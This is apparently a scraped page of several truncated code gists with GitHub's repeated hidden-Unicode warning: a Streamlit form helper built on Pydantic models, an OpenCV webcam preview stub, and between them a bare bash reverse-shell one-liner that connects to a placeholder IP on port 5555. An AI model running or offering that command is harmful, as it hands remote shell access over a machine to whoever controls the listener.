This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from datetime import datetime | |
from typing import Optional | |
from pydantic import BaseModel | |
import streamlit as st | |
def generic_form(model: BaseModel, model_name: str) -> st.form: | |
form = st.form(key=f'form_{model_name}') | |
if model_name not in st.session_state: | |
model_params = {k: None for k in model.model_fields.keys()} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bash -i >& /dev/tcp/<ip>/5555 0>&1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from typing import Any | |
import cv2 | |
def create_window() -> None: | |
cv2.namedWindow("Preview") | |
create_video_capture() | |
if video_capture.isOpened(): | |
returned_value, frame = video_capture.read() |